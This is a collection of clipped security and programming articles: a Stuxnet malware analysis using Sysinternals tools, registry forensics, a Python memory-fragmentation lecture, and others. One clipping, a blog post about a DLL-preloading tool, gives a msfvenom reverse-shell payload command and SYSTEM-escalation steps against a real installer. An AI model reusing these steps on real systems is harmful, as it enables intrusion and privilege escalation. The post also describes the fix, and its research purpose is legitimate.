compare the updated entries with the previously saved scan. Autoruns detected
two new device driver registrations, Mrxnet.sys and Mrxcls.sys:

<img src='img/Temp2_714.png' width='554' height='121' alt='image' />

Mrxnet.sys is the driver that the programmer originally sent me and that
implements the rootkit that hides files, and Mrxcls.sys is a second Stuxnet
driver file that launches the malware when the system boots. Stuxnet’s authors
could easily have extended Mrxnet’s cloak to hide these files from tools like
Autoruns, but they apparently felt confident that the valid digital signatures
from a well-known hardware company would cause anyone that noticed them to
pass them over. It turns out that Autoruns has told us all we need to know to
clean the infection, which is as easy as deleting or disabling the two driver
entries.

Turning my attention to Process Explorer, I also saw two green entries, both
instances of the Local Security Authority Subsystem \(Lsass.exe\) process:

<img src='img/Temp2_707.png' width='554' height='77' alt='image' />

Note the instance of Lsass.exe immediately beneath them that’s highlighted in
pink: a normal Windows XP installation has just one instance of Lsass.exe that
the Winlogon process creates when the system boots \(Wininit creates it on
Windows Vista and higher\). The process tree reveals that the two new
Lsass.exe instances were both created by Services.exe \(not visible in the
screenshot\), the Service Control Manager, which implies that Stuxnet somehow
got its code into the Services.exe process.

Process Explorer can also check the digital signatures on files, which you
initiate by opening the process or DLL properties dialog and clicking on the
Verify button, or by selecting the Verify Image Signatures option in the
Options menu. Checking the rogue Lsass processes confirms that they are
running the stock Lsass.exe image:

<img src='img/Temp2_708.png' width='304' height='354' alt='image' />

The two additional Lsass processes obviously have some mischievous purpose,
but the main executable and command lines don’t reveal any clues. But besides
running as children of Services.exe, another suspicious characteristic of the
two superfluous processes is the fact that they have very few DLLs loaded, as
shown by the Process Explorer DLL view:

<img src='img/Temp2_703.png' width='554' height='178' alt='image' />

The real Lsass has many more:

<img src='img/Temp2_710.png' width='554' height='180' alt='image' />

No non-Microsoft DLLs show up in the loaded-module lists for Services.exe,
Lsass.exe or Explorer.exe, so they are probably hosting injected executable
code. Studying the code would require advanced reverse engineering skills, but
we might be able to determine where the code resides in those processes, and
hence what someone with those skills would analyze, by using theSysinternals
VMMap utility. VMMap is a process memory analyzer that visually displays the
address space usage of a process. To execute, code must be stored in memory
regions that have Execute permission, and because injected code will likely be
stored in memory that’s normally for data and therefore not usually
executable, it might be possible to find the code just by looking for memory
not backed by a DLL or executable that has Execute permission. If the region
has Write permission, that makes it even more suspicious, because the
injection would require Write permission and probably isn’t concerned with
removing the permission once the code is in place. Sure enough, the legitimate
Lsass has no executable data regions, but both new Lsass processes have
regions with Execute and Write permissions in their address spaces at the same
location and same size:

<img src='img/Temp2_711.png' width='454' height='120' alt='image' />

VMMap’s Strings dialog, which you open from the View menu, shows any printable
strings in a selected region. The 488K region has the string “This program
cannot be run in DOS mode" at its start, which is a standard message stored in
the header of every Windows executable. That implies that the virus is not
just injecting a code snippet, but an entire DLL:

<img src='img/Temp2_709.png' width='329' height='267' alt='image' />

The region is almost devoid of any other recognizable text, so it’s probably
compressed, but the Windows API strings at the end of the region are from the
DLL’s import table:

<img src='img/Temp2_705.png' width='329' height='269' alt='image' />

Explorer.exe, the initially infected process, and Services.exe, the process
that launched the Lsass processes, also have no suspicious DLLs loaded, but
also have unusual executable data regions:

<img src='img/Temp2_704.png' width='454' height='109' alt='image' />

The two Mrx drivers are also visible in the loaded driver list, which you can
see in the DLL view of Process Explorer for the System process. The only
reason they stand out at all is that their version information reports them to
be from Microsoft, but their signatures are from Realtek \(the certificates
have been revoked, but since the test system is disconnected from the
Internet, it is unable to query the Certificate Revocation List servers\):

<img src='img/Temp2_712.png' width='554' height='139' alt='image' />

**Looking Deeper**

At this point we’ve gotten about as far as we can with Autoruns and Process
Explorer. What we know so far is that Stuxnet drops two driver files on the
system, registers them to start when the system boots, and starts them. It
also infects Services.exe and creates two Lsass.exe processes that run until
system shutdown, the purpose of which can’t be determined by their command-
lines or loaded DLLs. However, VMMap has given us pointers to injected code
and Autoruns has given us an easy way to clean the infection. The Process
Monitor trace from the infection has about 30,000 events, and from that we’ll
be able to gain further insight into what happens at the time of the
infection, where the injected code is stored on disk, and how Stuxnet
activates the code at boot time. Stay tuned for part 2.

# STIX - Structured Threat Information Expression

**Created:**| _10/4/2013 7:08:33 AM_  
---|---  
**Updated:**| _10/4/2013 7:08:33 AM_  
**Author:**| __  
**Tags:**| _statistics risk-management security metrics_  
  

# **S** tructured Threat Information Expression****

STIX™ is a collaborative community-driven effort to define and develop a
standardized language to represent structured cyber threat information**.**
The STIX Language intends to convey the full range of potential cyber threat
information and strives to be fully expressive, flexible, extensible,
automatable, and as human-readable as possible**.** All interested parties are
welcome to participate in evolving STIX as part of its open, collaborative
community**.**

Trusted Automated eXchange of Indicator Information \(TAXII™\)  is the main
transport mechanism for cyber threat information represented as STIX**.**
Through the use of TAXII services, organizations can share cyber threat
information in a secure and automated manner**.**

****

# Windows 7 Registry Forensics: Part 3 | DFI News
**Created:**| _1/22/2012 7:37:49 PM_  
---|---  
**Updated:**| _1/22/2012 7:37:49 PM_  
**Author:**| __  
**Tags:**| _Forensics windows environment_  
  

## Windows 7 Registry Forensics: Part 3

By John J. Barbara Article Posted: January 11, 2012

  

<img src='img/Temp2_9551.gif' /> Printer Friendly| <img
src='img/Temp2_9550.gif' /> Forward to a Friend|  <img
src='img/Temp2_9549.gif' width='15px' /> Share this  
---|---|---  
  * 1
  * 2
  * 3
  * next ›
  * last »

**Brief Discussion of Registry Hives**  
A typical Windows 7 Registry consists of at least five Hives, each of which
performs a different function. They are as follows:

  * **<img src='img/Temp2_9548.gif' width='200' height='120' alt='Windows 7 Registry Forensics' />**HKEY\_CLASSES\_ROOT \(HKCR\)
  * HKEY\_CURRENT\_USER \(HKCU\)
  * HKEY\_LOCAL\_MACHINE \(HKLM\)
  * HKEY\_USER \(HKU\)
  * HKEY\_CURRENT\_CONFIG \(HKCC\)

**HKEY\_CLASSES\_ROOT \(HKCR\)**  
The Hive contains thousands of Registry Keys and constitutes the majority of
the Registry itself. Per-user settings, file associations, class registration
for Component Object Model \(COM\) objects, as well as Programmatic Identifier
\(ProgID\), Class ID \(CLSID\), and Interface ID \(IID\) data are contained in
the Hive. File extension association Keys describe the file types and
associated programs which can open and edit a particular type of file. Each
Key stores the information as to what Windows is supposed to do when a User
double-clicks on a file with that extension. For example, when a User double
clicks on the hypothetical file “Windows 7 Registry.pptx,” PowerPoint will
open the file. The Registry stores the necessary information to complete this
action in the HKCR\\.pptx Key.

HKCR is actually a compilation of the machine-based HKLM\SOFTWARE\Classes Key
\(which contains default file associations and class registration\), and the
User-based HKCU\Software\Classes Key \(which contains per-User file
associations and class registration\). If a Registry Key exists in both Hives,
but conflicts in some manner, the one in HKCU\Software\Classes takes
precedence, which subsequently would then allow for registration of COM
objects.

ProgID, CLSID, and IID Keys concern the technical aspects associated with
computer programming. ProgID Keys are located under the file extension
association Keys \(for example, HKCR\\.avi\OpenWithProgIds\). Although CLSID
Keys can be found under many Keys, the majority are located under the
HKCR\CLSID Subkey. All IID Keys are located under the HKCR\Interface Subkey.

**HKEY\_CURRENT\_USER \(HKCU\)**  
Registry Values in the Keys control or contain configuration information that
is specific to the currently logged-on User. The information includes User
level control and settings for folders, environmental variables, screen
colors, printers installed, display settings, mapped network drives, keyboard
layout, Control Panel settings, and so forth. The settings are stored in files
located in two locations under the Users directory for each User who has
logged onto the computer. Those files are the
“C:\Users\\\(Username\)\NTUSER.DAT” file and the
“C:\Users\\\(Username\)\AppData\Local\Microsoft\Windows\UsrClass.dat”
file\(s\). Generic information applicable to all Users is normally found in
the HKU Hive under the HKU\\.DEFAULT Key\). Unlike most of the other Registry
Hives which are global \(retain the same information for all Users\), this
Hive is User specific. Most Keys and their associated Values will differ from
User to User on the same computer. The HKCU Hive is also a pointer to the
User’s Security Identifier \(SID\) Key which is located in the HKU Hive.

# How To Create A Portable Ubuntu Installation USB On The Mac

**Created:**| _5/8/2010 6:04:11 PM_  
---|---  
**Updated:**| _5/8/2010 6:04:53 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  
Type :  _sudo dd if=/path/to/downloaded.img of=/dev/diskN bs=1m_ in the
Terminal and hit Enter. But there are several things that you have to change
here before you hit Enter:

\- first the  _**/** path/to/downloaded.img_ is the location of the downloaded
UNR installer file. As we’ve already taken care of this before, all you’ve got
to do is to change the string into _**/** unr.img_

\- second, the _**/** dev/diskN is the device node which is the same as step 4  
\- and the last, if you see the error line:  _dd: Invalid number ‘1m’_ _then
you need to change the __bs=1m_ into  _bs=1M_ \(notice the capital ‘M’\)_

# Memory debugging and defragmentation

**Created:**| _2/23/2012 10:01:27 PM_  
---|---  
**Updated:**| _2/23/2012 10:01:39 PM_  
**Author:**| __  
**Tags:**| _programming Memory_  
  

# Memory debugging and defragmentation

<img src='img/Temp2_5286.jpg' alt='../images/memory_fragmentation/claudiofreire.jpg' /> | **Author:** Claudio Freire  
---|---  
# Introduction

This lecture was planned to be given in 20 minutes. If you can't read it in 20
minutes, reread, reread and re-reread until it takes 20 minutes :-p

Well, actually the text here is only slightly based in the real lecture. I'm
one known to improvise in lectures, all I have are the slides as a guide, the
general guidelines for the lecture, and this format doesn't lend itself to
improvisation. Besides, no freaking way I'm going to remember the exact words
I used ;\)

Now, really... this is a deep convoluted subject. Reread and re-reread until
you get it.

When I started looking for lecture subjects, I decided for memory
fragmentation because not long ago I though it was a myth. Ok, yes, it can
happen... but, does that happen to anybody? Is it a problem? How naive of me
to doubt that could answers could be "yes".

In PyConAr 2010 \(and here in this space now\), not only I had the chance to
transmit around 4 months of picking Python's guts apart, trying to find out
what was going on with my applications \(where I suffered from memory
fragmentation\), I also learned that this issue is much, much more common than
I'd expected.

When the lecture started, I asked: Does anybody know what memory fragmentation
is?. Exactly zero attendants raised their hand. Exactly the amount I had
expected. But, in the end, many approached me saying that the same thing that
was happening to me \(and that I described, and will describe below\) was
happening to them.

That, according to my post-PyCon estimations, means a 10% of everyone present
\(assuming they're Python developers\) suffer from that issue, and to a 3% of
them it means serious operative problems. So the issue was far more relevant
than I had expected.

# How does Python manage memory?

Before going into this fragmentation thing, we must study some internal
details of how memory management works in Python.

How would you say Python manages memory? Malloc? _\(a C function that reserves
memory for those unfamiliar with C\)_

Well, no. Python has unusual and very specific requirements, if it used malloc
for all of its memory needs, it would be too inefficient. Python uses,
instead, a series of techniques and strategies designed to minimize malloc
calls, which are very slow to be used in the core of Python's virtual machine.

  * Pools
    * Integer
    * Floating point
  * Free lists
    * Tuples
    * Lists
    * Frames _\(yes, the frames are objects and need to be managed too\)_
  * Arenas

Lets see what each is about, one by one

# Pools

Not for swimming.

They're arrays, object vectors of the same type, that Python uses usually to
accelerate the creation and destruction of common objects, like integers and
floating point numbers.

When python needs one of these objects, it doesn't create one, it creates many
\(as many as they fit in a pool block\), and keeps a linked list of which
objects are free within each block.

<img src='img/Temp2_5288.jpg' alt='../images/memory_fragmentation/pools.jpg'
/>

Structure of an object pool

In a pool, the **ob\_type** field \(present in all PyObject\) is used to link
free objects. When a new one is needed, the field is restored \(trivial to
do\), and in general there's no need of further initialization, so it is very
fast.

In an object pool, creation and destruction is very fast, and, depending on
the type of object, it can save a lot of initialization \(in the case of
integers and floating point numbers, this is especially true\), the objects
remain well pack in memory, all close together, and everything works very
well.

# Free lists

The idea of not having to ask for memory to create or destroy objects that are
frequently created and destroyed is something that can be generalized from
pools to any type of object \(not only those of a particular type\), even
objects of variable size \(where having them all packed in an array is
infeasible\).

When you do that, you have a free list:

<img src='img/Temp2_5287.jpg'
alt='../images/memory_fragmentation/freelists.jpg' />

Structure of a free list

Free lists are very similar to a pool, but instead of keeping an array of
objects, it simply keeps a linked list of free objects. When an object is
destroyed, it can simply go into the free list instead of freeing its memory,
to be able to reuse it later.

This idea of having free lists saves tons of calls to malloc, and is
particularly useful for strings, lists and tuples, which are variable-sized
objects very intensely used in Python, and where a pool wouldn't be practical.
They're also the main reason why Python is particularly sensitive to memory
fragmentation, and we'll soon see why.

Note also that frames use free lists. Frames are objects, also of variable
size \(because they need a stack, temporal space for local variables and
objects our code will generate\), also very intensely used in Python \(one
gets "created" every time a function call is made\). Free lists of frames are
a very important optimization \(they save a lot of time initializing the
frames, a costly operation\), but it also contributes to memory fragmentation
\(as every free list does\).

One important thing to remember about Python free lists is that the decision
whether to destroy an object or put it into the free list is done at the
moment of dereferencing it \(when its reference count reaches zero\). Once in
the free list, it remains there until reused. Python, in order to take this
decision, contains a series of limits - X frames, Y 1-sized tuples, Z 2-sized
tuples, W strings, etc... \(this limit is usually 100 in each case\).

# Arenas

So... what about the rest? Malloc?

Well, yes and no.

It uses arenas. Which is not spanish for where the glass comes, but a hybrid
between pools, free lists and malloc.

For small objects, Python keeps a _list of pools_ for each concrete size
\(remember that pools need objects of the same size, for they're vectors\).
Each pool has its free list, and each pool block is 8Kb in size. This is
called an arena.

For big objects \(more than 256 bytes\), Python calls malloc directly.

Like Python object sizes grow in 8-byte increments \(due to their structure\),
then there are exactly 32 arenas.

All Python objects are created in this way, even those that use free lists.

Arenas also induce an inner memory fragmentation problem, since no arena block
can be freed until all the objects residing in it are freed.

# Fragmentation

So, lets see what this memory fragmentation thing is:

<img src='img/Temp2_5285.jpg' alt='../images/memory_fragmentation/memoria.jpg'
/>

Map of fragmented memory

If black is used space, and white is free space, you can see here how there's
a lot of free space, but unusable for objects beyond some size, because it's
not contiguous space.

Put simply, memory fragmentation happens when there's lots of free space, but
it's not contiguous. Like in the above map, much of it is free space, but it's
unusable for big objects because, in contrast with a file you can split into
several blocks on disk, an object's memory region needs to be contiguous.

So, in contrast with fragmentation in a file system, memory fragmentation
makes portions of it unusable. If I needed memory for a big object, say a few
megabytes, I would have to use the area towards the end of the map \(that is,
_extend the virtual image of the process_\). This is effectively what malloc
does when it's faced with this situation.

The immediate, visible effect here, is an inefficiency in the use of available
memory. If my program needed 2GB of memory in theory, it could be reserving
4GB from the operating system \(because it has many small pieces reserved that
it cannot use\). If I have bad luck, this could make my system swap. If I have
too much bad luck, it could trash, and die.

Lets see code that fragments memory:

[code]

    >>> l = []
    >>> for i in xrange(1,100):
    ...   ll = [ " " * i * 16 for j in xrange(1000000 / i) ]
    ...   ll = ll[::2]
    ...   l.extend(ll)
    ...   print sum(map(len,l))
    ...
    8000000
    16000000
    …
    792005616
    >>>
    
    
[/code]

After this, top says:

[code]

    10467 claudiof  20   0 1676m 1.6g 1864 S    0 82.7   1:17.07 python
    
[/code]

Meaning, even though according to our calculations the program had to consume
800M of memory, it effectively consumes 1.6G. Double that.

Why?

Well the example was specifically tailored to create 50% of unusable holes.
The memory is fragmented, then, by 50%.

But there's something worse. Suppose I do:

[code]

    >>> del l
    >>> del ll
    
    
[/code]

I get from top:

[code]

    10467 claudiof  20   0 1532m 1.5g 1864 S    0 75.6   1:17.96 python
    
[/code]

If I repeat the fragmentation example, I can confirm that those 1.5G are
effectively free for python:

[code]

    10467 claudiof  20   0 1676m 1.6g 1864 S    0 82.8   2:33.39 python
    
[/code]

But if I try to free them \(to the operating system\), I can't.

¿WTF?

# Enter Guppy

Guppy is a little red fish commonly seen in fish tanks everywhere. Those
little fish there, those are called guppy.

Really.

It's also an extension library for Python that contains a module, heapy, which
allows me to do memory diagnostics.

Really.

<img src='img/Temp2_5284.jpg' alt='../images/memory_fragmentation/guppy.jpg'
/>

Guppy

So, let's try to use it:

[code]

    >>> from guppy import hpy
    >>> hp = hpy()
    >>> hp.heap()
    Partition of a set of 23778 objects. Total size = 1760692 bytes.
    Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
        0  10642  45   696652  40    696652  40 str
        1   5432  23   196864  11    893516  51 tuple
        2    345   1   112968   6   1006484  57 dict (no owner)
        3   1546   7   105128   6   1111612  63 types.CodeType
        4     66   0   104592   6   1216204  69 dict of module
        5    174   1    93168   5   1309372  74 dict of type
        6    194   1    86040   5   1395412  79 type
        7   1472   6    82432   5   1477844  84 function
        8    124   1    67552   4   1545396  88 dict of class
        9   1027   4    36972   2   1582368  90 __builtin__.wrapper_descriptor
    
    
[/code]

That is, Python \(just by launching it\) already consumes 1.7MB. In python
objects. Heapy doesn't count what is not Python objects, so all that is
reported there is memory used directly by python objects.

This means strings, lists, dictionaries, arrays, but **not** mmap objects, or
memory used by extension libraries \(eg: SDL surfaces in pygame\).

Lets diagnose then:

[code]

    >>> l = []
    >>> for i in xrange(1,100):
    ...    …
    
    >>> hp.heap()
    Partition of a set of 2612542 objects. Total size = 866405844 bytes.
    Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
        0 2599386  99 854833304  99 854833304  99 str
        1    132   0 10516640   1 865349944 100 list
        2   5433   0   197064   0 865547008 100 tuple
        3    351   0   113784   0 865660792 100 dict (no owner)
        4   1547   0   105196   0 865765988 100 types.CodeType
        5     67   0   105112   0 865871100 100 dict of module
        6    174   0    93168   0 865964268 100 dict of type
        7    194   0    86040   0 866050308 100 type
        8   1472   0    82432   0 866132740 100 function
        9    124   0    67552   0 866200292 100 dict of class
    
    
[/code]

So, just as we had calculated, more or less 800M \(850M\) in Python objects.
That's what heapy says.

[code]

    >>> del l
    >>> del ll
    >>> hp.heap()
    Partition of a set of 23844 objects. Total size = 1765236 bytes.
    Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
        0  10690  45   698996  40    698996  40 str
        1   5433  23   197068  11    896064  51 tuple
        2    351   1   113784   6   1009848  57 dict (no owner)
        3   1547   6   105196   6   1115044  63 types.CodeType
        4     67   0   105112   6   1220156  69 dict of module
        5    174   1    93168   5   1313324  74 dict of type
        6    194   1    86040   5   1399364  79 type
        7   1472   6    82432   5   1481796  84 function
        8    124   1    67552   4   1549348  88 dict of class
        9   1027   4    36972   2   1586320  90 __builtin__.wrapper_descriptor
    
    
[/code]

¿WTF?

Heapy tells us that Python uses 1.7MB again. Top keeps saying 1.6G. I believe
top.

It happens that, in fact, the rest is “free” space \(free for Python, not for
the operating system\).

Doing a differential analysis, we'll get some perspective into the matter:

[code]

    >>> from guppy import hpy
    >>> hp = hpy()
    >>> heap1 = hp.heap()
    >>> # experimento
    >>> heap2 = hp.heap()
    >>> new_stuff = heap2 – heap1
    >>> del l, ll
    >>> garbage = heap3 – heap1
    
    
[/code]

That results in 3 heap snapshots. _heap1_ , as it is after launching Python.
_heap2_ , after the experiment, and _heap3_ after "freeing" everything, and
two "differentials", _new\_stuff_ , what's in heap2 that is new \(not in
heap1\), and _garbage_ , what is in _heap3_ that is not in _heap1_ \(that is,
what wasn't freed\).

[code]

    >>> new_stuff
    Partition of a set of 2588725 objects. Total size = 864642976 bytes.
    Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
        0 2588706 100 854134668  99 854134668  99 str
        1      2   0 10506304   1 864640972 100 list
        2      6   0      816   0 864641788 100 dict (no owner)
        3      2   0      676   0 864642464 100 types.FrameType
        4      2   0      272   0 864642736 100 dict of guppy.etc.Glue.Owner
        5      1   0       68   0 864642804 100 types.CodeType
        6      2   0       64   0 864642868 100 guppy.etc.Glue.Owner
        7      2   0       64   0 864642932 100 tuple
        8      1   0       32   0 864642964 100 exceptions.KeyboardInterrupt
        9      1   0       12   0 864642976 100 int
    
    
[/code]

It's worth questioning: Only 850M in strings? And the other 800M to complete
the 1.6G?

Well, it happens that the memory looks a bit like gruyere cheese at this time.
There's 800M in relatively small strings, but as in each step we'd been
freeing half of them \(`ll = ll[::2]`\), we also have 800M in free but
unusable space. Because in each step, also, I need strings a bit bigger than
before, so the free holes cannot be reused.

Lets see what happens after dereferencing everything:

[code]

    >>> garbage
    Partition of a set of 29 objects. Total size = 2520 bytes.
    Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
        0      6  21      816  32       816  32 dict (no owner)
        1      2   7      748  30      1564  62 types.FrameType
        2     10  34      364  14      1928  77 str
        3      2   7      272  11      2200  87 dict of guppy.etc.Glue.Owner
        4      2   7       80   3      2280  90 __builtin__.weakref
        5      1   3       68   3      2348  93 types.CodeType
        6      2   7       64   3      2412  96 guppy.etc.Glue.Owner
        7      2   7       64   3      2476  98 tuple
        8      1   3       32   1      2508 100 exceptions.KeyboardInterrupt
        9      1   3       12   0      2520 100 int
    
    
[/code]

Gotcha\!

That's important\!

These 29 objects stop the heap from shrinking. What reminds me...

# The Heap

...of the heap.

Normally, the heap gets bigger and smaller.

<img src='img/Temp2_5283.jpg' alt='../images/memory_fragmentation/heap.jpg' />

Heap lifecycle

The heap expands and contracts, but in each cycle there can be leftover
"garbage", or maybe useful live objects, that prevent it from fully
contracting. The memory that is left trapped in the middle cannot be reused by
other processes, it's only free to Python.

As you can see on the figure, every time it shrinks, it doesn't completely.
Sometimes, objects remain alive in high addresses - since the heap cannot be
fragmented \(you cannot free space in the middle of the heap, it can only
expand or contract\), these objects keep memory in the middle reserved for
Python. Python can reuse it, but not the rest of the operating system.

This hurts disk cache, other processes \(maybe other Python processes, in a
webserver it can happen that we have more than one worker running Python\), it
damages the performance of the whole system.

Guess who have the habit of leaving objects alive in high addresses...

...that's right. Free lists. Here, with guppy, we found 29 objects, probably
all kept alive thanks to some free list that keeps them alive. We see a pair
of them are Frames, as I said, Frames cause this kind of issues.

We all want to know how to avoid this, so:

# Guppy tips

  * Don't leave garbage lying around on the floor
    * If you'll be creating lots of small objects, create _persistent_ ones first, _transient_ ones last.
      * Compiling code \(eg: using eval or doing imports\) generates permanent strings, called _interned strings_ , so compiling on-demand is something to avoid just as well.
      * SQLAlchemy and many other libraries have internal caches, research them and be aware of them and their eviction politics.
    * Every time it is possible, prefer a few big objects over many small ones:
      * String lists → comma-separated strings. Or pipe-separated. Or newlines. Whatever.
      * Number lists → `array.array` or `numpy.array`
  * Sweep from time to time
    * If you keep caches with expiration times, clean the cache regularly to remove expired elements. Don't be lazy.
    * Sometimes you can “desfragment” memory, rebuilding persistent structures like caches.
**In fact** , java's garbage collector does exactly this, automatically, and
many projects are seeking to implement a similar garbage collector for Python,
but Python's extension API, Python/C, makes it hard since it allows unmanaged
pointers to PyObject, structures that represent Python objects\)\*.

  * Change is good
    * Don't create eternal structures.
    * Caches always expire.
    * Threads get renewed.
  * The house is for living, the office for working
    * Whenever possible, perform memory intensive tasks in a subprocess, which will free all memory and tidily clean up when finished.
    * The subprocess is the office. You work there.
    * The main process is the house. You live there.

# Useful links

  * **Slides** : http://python.org.ar/pyar/Charlas\#Depuraci.2BAPM-n\_y\_defragmentaci.2BAPM-n\_de\_memoria\_en\_Python \(spanish\)
  * **How to map memory** : http://python.org.ar/pyar/MapeandoMemoria
  * **Heapy** : http://guppy-pe.sourceforge.net/

###

# SensePost | Rattler:identifying and exploiting dll preloading vulnerabilities
**Created:**| _9/4/2017 9:20:30 AM_  
---|---  
**Updated:**| _9/4/2017 9:20:30 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Rattler:Identifying and Exploiting DLL Preloading Vulnerabilities

Reading time ~7 min

_Posted by chris on 01 December 2016_

Categories: Conferences, Research, Tools

In this blog post I am going to describe a new tool \(Rattler\) that I have
been working on and discuss some of the interesting anomalies found while
building it. Rattler can be found on our Github repo and was recently
discussed at BSides Cape Town.

### What is Rattler?

Rattler helps identify which application DLL’s are vulnerable to DLL
preloading attacks. In a nutshell, DLL preloading attacks allow you to trick
applications into loading and executing malicious DLL’s. DLL preloading
attacks can result in escalation of privileges, persistence and RCE in some
cases. While preloading attacks are nothing new, there were some interesting
results found. For more information on DLL security, I found this link to be
helpful.

### Why do I use Rattler?

Rattler has made it quick and easy to identify a vector to get payloads
executed. For example, if an application were to have ~100 DLL’s and if it
took ~2 minutes to test each DLL, that is ~2 hours for a single application to
be tested using a manual process. Additionally, the process for testing an
application for DLL preloading vulnerabilities is rather simple and can be
automated trivially using some C++, Windows API calls and fresh beard oil ,
hence Rattler.

Sure there are certain requirements to exploit DLL preloading vulnerabilities
such as file access etc however the three most useful instances relate to post
exploitation and they are, persistence, privilege escalation and RCE in some
cases. When pwning a host, you may want persistence whether it’s to add to
your botnet or merely pivot. One way to gain persistence is to exploit a DLL
preloading vulnerability on the target host. For example, if the target host
has VoiceAndVideoApplicationX.exe installed and this executable is vulnerable
to DLL preloading attacks then all I need to do is identify a vulnerable DLL
using Rattler, drop my payload in the appropriate CWD and voila, every time
the user/hosts runs VoiceAndVideoApplicationX.exe, my payload is executed as
well. Another useful tangent that Rattler can be used for is the elevation of
privileges. One of the golden rules in pwning is that one tends to inherit the
permissions of the exploited entity. For example, if I have an installer in
the ‘Downloads’ folder \(which is untrusted FYI so very easy to write to this
folder\) and this installer requires admin privileges to install? What do you
think happens when your malicious DLL is executed by the installer?To make
this concrete, download the latest Windows .Net installer
\(NDP461-KB3102438-Web.exe\) or \(NDP462-KB3151800-x86-x64-AllOS-ENU.exe\).
Create a malicious DLL and place it in the Downloads folder and name the
payload DLL to “CRYPTSP.dll”. Run the installer and voila, I will leave the
remainder of this to the reader, you know where I am going;\) If not, use the
following command to generate a malicious DLL “msfvenom -p
windows/meterpreter/reverse\_tcp LHOST=192.123.12.3 LPORT=4444 -f DLL
>beard.dll”, create your multi handler and once you get your connection back,
run good ‘ol “getsystem” in your meterpreter session and voila. System via DLL
preloading. It sounds better than it is but still, should this happen?

### How does Rattler Rattle?

Say that ^ five times fast ;\) Rattler automates the following procedure for
identifying DLL’s that are vulnerable to preloading attacks.

**Step 1: Identify DLL’s utilised by the application**

This can be achieved multiple ways such as using WinDBG, Process Explorer,
ProcMon or having a look at the Import Address Table \(PE IAT\). Rattler makes
use of the Windows Process Status API call “EnumProcessModules” to get a
handle on the DLL’s.

<img src='img/Temp2_7399.png' width='300' height='222' alt='vlc ' />

DLL’s utilised by VLC Media Player using Process Explorer

**Step 2: Target DLL’s with \!FQP’s**

From the list of DLL’s utilised by the application, identify DLL’s which DO
NOT make use of a fully qualified path \(FQP\). These DLL’s will trigger the
DLL search order that we will exploit. For more information on the DLL search
order, go to this link and for more information on identifying DLL’s that do
not make use of a FQP, have a look at HD Moore’s DLL hijack audit kit here.

**Step 3: Enumerate targets DLL’s**

At this point, we want to target the DLL’s that do not use FQP’s. We target
these DLL’s by placing a malicious DLL in the current working directory
\(CWD\) of the target executable and name the malicious DLL after any one of
the identified target DLL’s \(the DLL’s that don’t use FQP’s\). For example,
if our target executable is located in “c:\my\program\target.exe” and we have
identified “thisIsA.dll” as a utilised DLL with no FQP, then we place our
malicious DLL at, “c:\my\program\thisIsA.dll”. In the case of Rattler, apply
this to ALL the DLL’s utilised by the application, just in case.

**Step 4: Run targeted Application**

Simply execute the target application. If the targeted DLL i.e “thisIsA.dll”
is vulnerable, then the malicious DLL would have been executed.

**Step 5: Automate Steps 1-4**

<img src='img/90F8aUepslB84-300x191.gif' width='300' height='191'
alt='90f8auepslb84' />

There exists multiple scripts/approaches to identifying preloading
vulnerabilities, most notably HD Moore‘s DLL audit kit. However existing
approaches still require additional manual verification of the results and do
not focus on exploitable results. This is where Rattler differs in its
approach. Rattler will identify vulnerable DLL’s and attempt to exploit them.
Thus when running Rattler, if you see “calc” popping a lot, you are going to
have some phun.

### The Rattle

So how does one drive Rattler? Firstly, get the code or prebuilt binaries at
our Github repo. Rattler requires two inputs, the path to the executable you
want to target the “mode”. At the time of this post, Rattler only has one mode
so the value “1” will suffice. Additional modes of enumeration such as “only
enumerate custom DLL’s” are currently in development. This leaves us with the
usage “>Rattler\_32.exe ‘c:\path\to\executable.exe’ 1”

<img src='img/Temp2_7400.png' width='300' height='33' alt='rattler' />

Rattler in use

Depending on the permissions of the targeted executable, Rattler may need to
be run as an administrator. While Rattler is running, it will monitor
instances of the application being targeted so you need to make sure that the
process is not already running before running Rattler. Once Rattler has
executed, it will give you a list of DLL’s that can be used to perform
preloading attacks against the target application.

<img src='img/Temp2_7401.png' width='300' height='91' alt='vv' />

Rattler Results

### What happens when things Rattle?

To get a handle for the scope of the problem, and how it’s perceived by
developers, I submitted some bug bounties to extract some statistics. Using
Rattler, I submitted 11 bug reports. This resulted in 8 acknowledgments of the
problem. The remaining three vendors “accepted the risk”. Outside of bug
bounty programs, 8 vendors were contacted and the majority did not see this as
a problem and accepted the risk whereas some acknowledged the risk and fixed
the problem.

### How to fix?

DLL preloading attacks are the result of applications not making use of fully
qualified paths when loading DLL’s. The lack of FQP’s triggers the Windows
search order and this is where we get our vulnerability. To address this, make
use of fully qualified paths when utilizing DLL’s. Oh and maybe some DLL
verification and validation might help, but that may be overkill.

### Where to?

Rattler can benefit from multiple enhancements. Firstly parallel analysis of
sorts to decrease enumeration time. Secondly the enumeration of only DLL’s
that do not make use of FQP’s. This is on the TODO list

  

# OpenSource InformationGathering Footprinting Metasploit CarnalOwnage

**Created:**| _9/25/2009 5:11:00 PM_  
---|---  
**Updated:**| _9/25/2009 5:11:46 PM_  
**Author:**| __  
**Tags:**| _Footprinting Metasploit socialising_  
  
<img src='img/Temp2_5961' />

# How to Disagree

**Created:**| _9/4/2017 9:42:54 AM_  
---|---  
**Updated:**| _9/4/2017 9:42:54 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

| <img src='img/paulgraham_2202_8086674.gif' width='135' height='18' alt='How
to Disagree' />  
  
March 2008  
  
The web is turning writing into a conversation. Twenty years ago, writers
wrote and readers read. The web lets readers respond, and increasingly they
do—in comment threads, on forums, and in their own blog posts.  
  
Many who respond to something disagree with it. That's to be expected.
Agreeing tends to motivate people less than disagreeing. And when you agree
there's less to say. You could expand on something the author said, but he has
probably already explored the most interesting implications. When you disagree
you're entering territory he may not have explored.  
  
The result is there's a lot more disagreeing going on, especially measured by
the word. That doesn't mean people are getting angrier. The structural change
in the way we communicate is enough to account for it. But though it's not
anger that's driving the increase in disagreement, there's a danger that the
increase in disagreement will make people angrier. Particularly online, where
it's easy to say things you'd never say face to face.  
  
If we're all going to be disagreeing more, we should be careful to do it well.
What does it mean to disagree well? Most readers can tell the difference
